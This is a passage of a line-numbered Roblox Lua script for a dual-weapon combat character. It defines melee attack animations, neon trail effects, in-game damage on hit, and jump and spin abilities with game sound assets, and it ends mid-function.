  3250. if not TrailDeb then break end
  3251. local New = Handle.CFrame.p
  3252. local Mag =(Old -New).magnitude
  3253. local Dis =(Old +New)/2
  3254. local Trail = Instance.new("Part",Character)
  3255. Trail.Material = "Neon"
  3256. Trail.Anchored = true
  3257. Trail.CanCollide = false
  3258. Trail.BrickColor = TorsoColor
  3259. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3260. Trail.TopSurface = 0
  3261. Trail.BottomSurface = 0
  3262. Trail.formFactor = "Custom"
  3263. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3264. local ms = Instance.new("BlockMesh",Trail)
  3265. ms.Scale = Vector3.new(1,1,1)
  3266. local TM = Instance.new("CylinderMesh",Trail)
  3267. TM.Scale = Vector3.new(1,1,1)
  3268. Old = New
  3269. coroutine.wrap(function()
  3270. for i = 1,0,-0.1 do
  3271. wait()
  3272. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3273. end
  3274. Trail:remove()
  3275. end)()
  3276. coroutine.wrap(function()
  3277. for i = 1,10 do
  3278. wait()
  3279. Trail.Transparency = Trail.Transparency +0.1
  3280. end end)()end end)()
  3281. con1=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  3282. for i=0,1,0.08 do
  3283. swait()
  3284. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(-10)),.3)
  3285. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(10)),.3)
  3286. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3287. Handleweld.C0=clerp(Handleweld.C0,cf(-3,1,2)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  3288. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3289. RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(.5,1.8,1.5),.3)
  3290. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  3291. end
  3292. so("http://www.roblox.com/asset/?id=231917758",Handle,1,.9)
  3293. so("http://www.roblox.com/asset/?id=159972643",Torso,1,1)
  3294. for i=0,1,0.1 do
  3295. swait()
  3296. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(20)),.3)
  3297. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3298. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3299. Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-8)*angles(math.rad(-85),math.rad(0),math.rad(0)),.2)
  3300. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3301. RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(80,1.8,1.5),.3)
  3302. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  3303. end
  3304. --dmgstop()
  3305. attack=false
  3306. con1:disconnect()
  3307. if TrailDeb == true then
  3308. TrailDeb = false
  3309. end
  3310. end
  3311.  
  3312. function attacktwo()
  3313. attack=true
  3314. if TrailDeb == false then
  3315. TrailDeb = true
  3316. end
  3317.  
  3318.  
  3319. coroutine.wrap(function()
  3320. local Old = Handle2.CFrame.p
  3321. while wait()do
  3322. if not TrailDeb then break end
  3323. local New = Handle2.CFrame.p
  3324. local Mag =(Old -New).magnitude
  3325. local Dis =(Old +New)/2
  3326. local Trail = Instance.new("Part",Character)
  3327. Trail.Material = "Neon"
  3328. Trail.Anchored = true
  3329. Trail.CanCollide = false
  3330. Trail.BrickColor = TorsoColor
  3331. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3332. Trail.TopSurface = 0
  3333. Trail.BottomSurface = 0
  3334. Trail.formFactor = "Custom"
  3335. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3336. local ms = Instance.new("BlockMesh",Trail)
  3337. ms.Scale = Vector3.new(1,1,1)
  3338. local TM = Instance.new("CylinderMesh",Trail)
  3339. TM.Scale = Vector3.new(1,1,1)
  3340. Old = New
  3341. coroutine.wrap(function()
  3342. for i = 1,0,-0.1 do
  3343. wait()
  3344. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3345. end
  3346. Trail:remove()
  3347. end)()
  3348. coroutine.wrap(function()
  3349. for i = 1,10 do
  3350. wait()
  3351. Trail.Transparency = Trail.Transparency +0.1
  3352. end end)()end end)()
  3353. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  3354. for i=0,1,0.08 do
  3355. swait()
  3356. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(20)),.3)
  3357. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3358. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3359. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(0),math.rad(20)),.2)
  3360. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3361. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3)
  3362. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3)
  3363. end
  3364. so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8)
  3365. so("http://www.roblox.com/asset/?id=159972627",Torso,1,1)
  3366. for i=0,1,0.1 do
  3367. swait()
  3368. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3369. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(20)),.3)
  3370. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3371. Handle2weld.C0=clerp(Handle2weld.C0,cf(10,1,-5)*angles(math.rad(0),math.rad(-80),math.rad(20)),.2)
  3372. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3373. LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
  3374. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3)
  3375. end
  3376. --dmgstop()
  3377. attack=false
  3378. con1:disconnect()
  3379. if TrailDeb == true then
  3380. TrailDeb = false
  3381. end
  3382. end
  3383.  
  3384. function attackthree()
  3385. attack=true
  3386. if TrailDeb == false then
  3387. TrailDeb = true
  3388. end
  3389.  
  3390.  
  3391. coroutine.wrap(function()
  3392. local Old = Handle.CFrame.p
  3393. while wait()do
  3394. if not TrailDeb then break end
  3395. local New = Handle.CFrame.p
  3396. local Mag =(Old -New).magnitude
  3397. local Dis =(Old +New)/2
  3398. local Trail = Instance.new("Part",Character)
  3399. Trail.Material = "Neon"
  3400. Trail.Anchored = true
  3401. Trail.CanCollide = false
  3402. Trail.BrickColor = TorsoColor
  3403. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3404. Trail.TopSurface = 0
  3405. Trail.BottomSurface = 0
  3406. Trail.formFactor = "Custom"
  3407. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3408. local ms = Instance.new("BlockMesh",Trail)
  3409. ms.Scale = Vector3.new(1,1,1)
  3410. local TM = Instance.new("CylinderMesh",Trail)
  3411. TM.Scale = Vector3.new(1,1,1)
  3412. Old = New
  3413. coroutine.wrap(function()
  3414. for i = 1,0,-0.1 do
  3415. wait()
  3416. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3417. end
  3418. Trail:remove()
  3419. end)()
  3420. coroutine.wrap(function()
  3421. for i = 1,10 do
  3422. wait()
  3423. Trail.Transparency = Trail.Transparency +0.1
  3424. end end)()end end)()
  3425. con1=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Up",RootPart,.2,1) end)
  3426. for i=0,1,0.08 do
  3427. swait()
  3428. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(0)),.3)
  3429. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  3430. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3431. Handleweld.C0=clerp(Handleweld.C0,cf(3,7,-1)*angles(math.rad(20),math.rad(0),math.rad(-120)),.2)
  3432. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3433. RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(0.5,-1.3,-0.1),.3)
  3434. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  3435. end
  3436. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  3437. so("http://www.roblox.com/asset/?id=159882477",Torso,1,1)
  3438. for i=0,1,0.05 do
  3439. swait()
  3440. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  3441. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(0)),.3)
  3442. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3443. Handleweld.C0=clerp(Handleweld.C0,cf(2,4,-3)*angles(math.rad(120),math.rad(0),math.rad(-120)),.2)
  3444. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3445. RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(2,-1.3,0.1),.3)
  3446. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  3447. end
  3448. --dmgstop()
  3449. attack=false
  3450. con1:disconnect()
  3451. if TrailDeb == true then
  3452. TrailDeb = false
  3453. end
  3454. end
  3455.  
  3456. function attackfour()
  3457. attack=true
  3458. if TrailDeb == false then
  3459. TrailDeb = true
  3460. end
  3461.  
  3462.  
  3463. coroutine.wrap(function()
  3464. local Old = Handle2.CFrame.p
  3465. while wait()do
  3466. if not TrailDeb then break end
  3467. local New = Handle2.CFrame.p
  3468. local Mag =(Old -New).magnitude
  3469. local Dis =(Old +New)/2
  3470. local Trail = Instance.new("Part",Character)
  3471. Trail.Material = "Neon"
  3472. Trail.Anchored = true
  3473. Trail.CanCollide = false
  3474. Trail.BrickColor = TorsoColor
  3475. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3476. Trail.TopSurface = 0
  3477. Trail.BottomSurface = 0
  3478. Trail.formFactor = "Custom"
  3479. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3480. local ms = Instance.new("BlockMesh",Trail)
  3481. ms.Scale = Vector3.new(1,1,1)
  3482. local TM = Instance.new("CylinderMesh",Trail)
  3483. TM.Scale = Vector3.new(1,1,1)
  3484. Old = New
  3485. coroutine.wrap(function()
  3486. for i = 1,0,-0.1 do
  3487. wait()
  3488. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3489. end
  3490. Trail:remove()
  3491. end)()
  3492. coroutine.wrap(function()
  3493. for i = 1,10 do
  3494. wait()
  3495. Trail.Transparency = Trail.Transparency +0.1
  3496. end end)()end end)()
  3497. coroutine.wrap(function()
  3498. local Old = Handle.CFrame.p
  3499. while wait()do
  3500. if not TrailDeb then break end
  3501. local New = Handle.CFrame.p
  3502. local Mag =(Old -New).magnitude
  3503. local Dis =(Old +New)/2
  3504. local Trail = Instance.new("Part",Character)
  3505. Trail.Material = "Neon"
  3506. Trail.Anchored = true
  3507. Trail.CanCollide = false
  3508. Trail.BrickColor = TorsoColor
  3509. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3510. Trail.TopSurface = 0
  3511. Trail.BottomSurface = 0
  3512. Trail.formFactor = "Custom"
  3513. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3514. local ms = Instance.new("BlockMesh",Trail)
  3515. ms.Scale = Vector3.new(1,1,1)
  3516. local TM = Instance.new("CylinderMesh",Trail)
  3517. TM.Scale = Vector3.new(1,1,1)
  3518. Old = New
  3519. coroutine.wrap(function()
  3520. for i = 1,0,-0.1 do
  3521. wait()
  3522. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3523. end
  3524. Trail:remove()
  3525. end)()
  3526. coroutine.wrap(function()
  3527. for i = 1,10 do
  3528. wait()
  3529. Trail.Transparency = Trail.Transparency +0.1
  3530. end end)()end end)()
  3531. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  3532. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  3533. for i=0,1,0.08 do
  3534. swait()
  3535. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
  3536. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3537. Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3538. Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3539. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
  3540. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
  3541. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3542. LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
  3543. end
  3544. if anim then
  3545. anim.Disabled=true
  3546. end
  3547. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.7)
  3548. so("http://www.roblox.com/asset/?id=159882584",Torso,1,1)
  3549. for i=0,1,0.04 do
  3550. swait()
  3551. Torso.Velocity=RootPart.CFrame.lookVector*50
  3552. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,1)*angles(math.rad(-5),math.rad(0),math.rad(0+360*i)),.3)
  3553. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3554. Handleweld.C0=clerp(Handleweld.C0,cf(3,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3555. Handle2weld.C0=clerp(Handle2weld.C0,cf(-3,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3556. RW.C0=clerp(RW.C0,cf(1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3557. LW.C0=clerp(LW.C0,cf(-1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3558. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  3559. LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(0,-1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  3560. end
  3561. --dmgstop()
  3562. attack=false
  3563. con1:disconnect()
  3564. con2:disconnect()
  3565. if anim then
  3566. anim.Disabled=false
  3567. end
  3568. if TrailDeb == true then
  3569. TrailDeb = false
  3570. end
  3571. end
  3572.  
  3573. function BlastEffect(brickcolor, cframe, x1, y1, z1, x2, y2, z2)
  3574. local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5))
  3575. prt.Anchored = true
  3576. prt.CFrame = cframe
  3577. local msh = mesh("SpecialMesh", prt, "FileMesh", "http://www.roblox.com/asset/?id=20329976", vt(0, 0, 0), vt(x1, y1, z1))
  3578. coroutine.resume(coroutine.create(function()
  3579. for i = 0, 1, 0.05 do
  3580. wait()
  3581. prt.Transparency = i
  3582. msh.Scale = msh.Scale + vt(x2, y2, z2)
  3583. end
  3584. prt.Parent = nil
  3585. end))
  3586. end
  3587.  
  3588. function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type)
  3589. for _, c in pairs(workspace:children()) do
  3590. local hum = c:findFirstChild("Humanoid")
  3591. if hum ~= nil then
  3592. local head = c:findFirstChild("Torso")
  3593. if head ~= nil then
  3594. local targ = head.Position - Part.Position
  3595. local mag = targ.magnitude
  3596. if mag <= magni and c.Name ~= Player.Name then
  3597. Damagefunc(Hit, head, mindam, maxdam, knock, Type, RootPart, .2, 1, 3)
  3598. end
  3599. end
  3600. end
  3601. end
  3602. end
  3603.  
  3604. function MagicCircle(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay)
  3605. local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5))
  3606. prt.Anchored = true
  3607. prt.CFrame = cframe
  3608. local msh = mesh("SpecialMesh", prt, "Sphere", "", vt(0, 0, 0), vt(x1, y1, z1))
  3609. game:GetService("Debris"):AddItem(prt, 2)
  3610. coroutine.resume(coroutine.create(function(Part, Mesh)
  3611. for i = 0, 1, delay do
  3612. swait()
  3613. Part.CFrame = Part.CFrame
  3614. Part.Transparency = i
  3615. Mesh.Scale = Mesh.Scale + vt(x3, y3, z3)
  3616. end
  3617. Part.Parent = nil
  3618. end), prt, msh)
  3619. end
  3620.  
  3621. function MagicJump()
  3622. if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  3623. attack=true
  3624. mana=mana-25
  3625. --[[ Humanoid.WalkSpeed = 0
  3626. for i=0,1,0.01 do
  3627. swait()
  3628. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1.2)*angles(math.rad(45),math.rad(0),math.rad(45)),.1)
  3629. Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-15),math.rad(15),math.rad(-45)),.1)
  3630. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
  3631. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(60),math.rad(0),math.rad(45)),.1)
  3632. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-15),math.rad(15),math.rad(-30)),.1)
  3633. RH.C0=clerp(RH.C0,cf(0.5,-1.25,0.75)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(15),math.rad(-60),math.rad(-15)),.1)
  3634. LH.C0=clerp(LH.C0,cf(-1,0.1,-0.8)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(40),math.rad(0),math.rad(-30)),.1)
  3635. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(45)),.1)
  3636. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,-6)*angles(math.rad(-15),math.rad(-60),math.rad(45)),.1)
  3637. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(60),math.rad(45)),.1)
  3638. end]]--
  3639. Humanoid.Jump = true
  3640. Torso.Velocity = vt(0, 150, 0)
  3641. Humanoid.WalkSpeed = 64
  3642. so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8)
  3643. so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8)
  3644. for i=0,1,0.05 do
  3645. swait()
  3646. Neck.C0=clerp(Neck.C0,necko*euler(0.5,0,0),.3)
  3647. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  3648. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0+8*i,0,0),.3)
  3649. LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
  3650. RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3)
  3651. RH.C0=clerp(RH.C0,cf(1,0,-1)*euler(-0.5,1.57,0)*euler(0,0,0),.2)
  3652. LH.C0=clerp(LH.C0,cf(-1,0,-1)*euler(-0.5,-1.57,0)*euler(0,0,0),.2)
  3653. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2)
  3654. Handleweld.C0=clerp(Handleweld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(60),math.rad(0)),.2)
  3655. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(-60),math.rad(0)),.2)
  3656. end
  3657. for i=0,1,0.02 do
  3658. swait()
  3659. Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3)
  3660. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  3661. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3)
  3662. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3)
  3663. RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  3664. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3)
  3665. LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  3666. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2)
  3667. LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2)
  3668. handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  3669. Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
  3670. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
  3671. end
  3672. Humanoid.WalkSpeed = 0
  3673. swait(8)
  3674. so("http://www.roblox.com/asset/?id=199145477",Torso,1,1)
  3675. so("http://www.roblox.com/asset/?id=199145477",Torso,1,1)
  3676. local hit,pos=rayCast(Torso.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,100,Character)
  3677. if hit~=nil then
  3678. swait(2)
  3679. local ref=part(3,workspace,"SmoothPlastic",0,1,BrickColor.new("Really black"),"Effect",vt())
  3680. ref.Anchored=true
  3681. ref.CFrame=cf(pos)
  3682. game:GetService("Debris"):AddItem(ref,3)
  3683. for i=1,10 do
  3684. local Col=BrickColor.new("Really black")
  3685. local groundpart=part(3,Character,"SmoothPlastic",0,0,Col,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100))
  3686. groundpart.Anchored=true
  3687. groundpart.CanCollide=false
  3688. groundpart.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  3689. local Col2=TorsoColor
  3690. local groundpart2=part(3,Character,"SmoothPlastic",0,0,Col2,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100))
  3691. groundpart2.Anchored=true
  3692. groundpart2.CanCollide=false
  3693. groundpart2.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  3694. game:GetService("Debris"):AddItem(groundpart,5)
  3695. game:GetService("Debris"):AddItem(groundpart2,5)
  3696. end
  3697. BlastEffect(TorsoColor,cf(pos),1,1,1,1.4,1.4,1.4)
  3698. BlastEffect(BrickColor.new("Really black"),cf(pos),.9,.9,.9,1.2,1.2,1.2)
  3699. MagicCircle(BrickColor.new("Really black"),cf(pos),5,5,5,5,5,5,0.05)
  3700. MagicCircle(TorsoColor,cf(pos),6,6,6,6,6,6,0.05)
  3701. for i=0,1,0.06 do
  3702. swait()
  3703. Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-20),math.rad(0),math.rad(0)),.3)
  3704. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  3705. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-0.5)*angles(math.rad(50),math.rad(0),math.rad(0)),.3)
  3706. RW.C0=clerp(RW.C0,cf(1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(-30)),.3)
  3707. LW.C0=clerp(LW.C0,cf(-1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(30)),.3)
  3708. RH.C0=clerp(RH.C0,cf(1, -.5, -.5)*angles(math.rad(50),math.rad(90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3)
  3709. LH.C0=clerp(LH.C0,cf(-1, -1, -.5)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3)
  3710. handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  3711. Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
  3712. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
  3713. end
  3714. end
  3715. swait(20)
  3716. Humanoid.WalkSpeed = 12
  3717. --dmgstop()
  3718. attack=false
  3719. end
  3720. end
  3721.  
  3722. function Spin()
  3723. attack=true
  3724. mana=mana-40
  3725. if TrailDeb == false then
  3726. TrailDeb = true
  3727. end
  3728.  
  3729. coroutine.wrap(function()
  3730. local Old = Handle2.CFrame.p
  3731. while wait()do
  3732. if not TrailDeb then break end
  3733. local New = Handle2.CFrame.p
  3734. local Mag =(Old -New).magnitude
  3735. local Dis =(Old +New)/2
  3736. local Trail = Instance.new("Part",Character)
  3737. Trail.Material = "Neon"
  3738. Trail.Anchored = true
  3739. Trail.CanCollide = false
  3740. Trail.BrickColor = TorsoColor
  3741. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3742. Trail.TopSurface = 0
  3743. Trail.BottomSurface = 0
  3744. Trail.formFactor = "Custom"
  3745. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3746. local ms = Instance.new("BlockMesh",Trail)
  3747. ms.Scale = Vector3.new(1,1,1)
  3748. local TM = Instance.new("CylinderMesh",Trail)
  3749. TM.Scale = Vector3.new(1,1,1)
  3750. Old = New
  3751. coroutine.wrap(function()
  3752. for i = 1,0,-0.1 do
  3753. wait()
  3754. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3755. end
  3756. Trail:remove()
  3757. end)()
  3758. coroutine.wrap(function()
  3759. for i = 1,10 do
  3760. wait()
  3761. Trail.Transparency = Trail.Transparency +0.1
  3762. end end)()end end)()
  3763. coroutine.wrap(function()
  3764. local Old = Handle.CFrame.p
  3765. while wait()do
  3766. if not TrailDeb then break end
  3767. local New = Handle.CFrame.p
  3768. local Mag =(Old -New).magnitude
  3769. local Dis =(Old +New)/2
  3770. local Trail = Instance.new("Part",Character)
  3771. Trail.Material = "Neon"
  3772. Trail.Anchored = true
  3773. Trail.CanCollide = false
  3774. Trail.BrickColor = TorsoColor
  3775. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3776. Trail.TopSurface = 0
  3777. Trail.BottomSurface = 0
  3778. Trail.formFactor = "Custom"
  3779. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3780. local ms = Instance.new("BlockMesh",Trail)
  3781. ms.Scale = Vector3.new(1,1,1)
  3782. local TM = Instance.new("CylinderMesh",Trail)
  3783. TM.Scale = Vector3.new(1,1,1)
  3784. Old = New
  3785. coroutine.wrap(function()
  3786. for i = 1,0,-0.1 do
  3787. wait()
  3788. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3789. end
  3790. Trail:remove()
  3791. end)()
  3792. coroutine.wrap(function()
  3793. for i = 1,10 do
  3794. wait()
  3795. Trail.Transparency = Trail.Transparency +0.1
  3796. end end)()end end)()
  3797. Footsteps:Stop()
  3798. Footsteps2:Stop()
  3799. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  3800. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  3801. so("http://www.roblox.com/asset/?id=159882497",Torso,1,1)
  3802. for i=0,1,0.1 do
  3803. swait()
  3804. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
